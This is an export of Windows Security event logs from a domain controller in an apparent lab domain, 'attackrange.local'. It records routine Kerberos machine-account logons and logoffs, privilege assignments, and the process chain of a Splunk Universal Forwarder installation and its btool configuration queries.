-SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250041 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFA0A5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250040 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xFA0A5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64379 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250039 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFA0A5 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250038 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFA03E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250037 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xFA03E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64378 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250036 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFA03E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250076 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x123c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1228 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: splunkd install --startup=auto - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250075 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1228 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1204 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" cmd splunkd install --startup=auto - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250074 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x120c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1204 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250073 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1204 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x2ec - Creator Process Name: C:\Windows\System32\msiexec.exe - Process Command Line: C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" cmd splunkd install --startup=auto >> "C:\Users\ADMINI~1\AppData\Local\Temp\splunk.log" 2>&1" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250072 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11e0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x11cc - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250071 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11cc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x11c0 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250070 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11c0 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x105c - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250069 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11ac - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1198 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list replication_port --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250068 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1198 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x118c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list replication_port --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250067 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x118c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x105c - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list replication_port --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250066 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFAC7C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250065 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xFAC7C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64385 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250064 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFAC7C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250063 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFAC1B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250062 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xFAC1B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64384 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250061 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFAC1B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250060 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFABB5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250059 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xFABB5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64383 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250058 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xFABB5 - -Privileges: 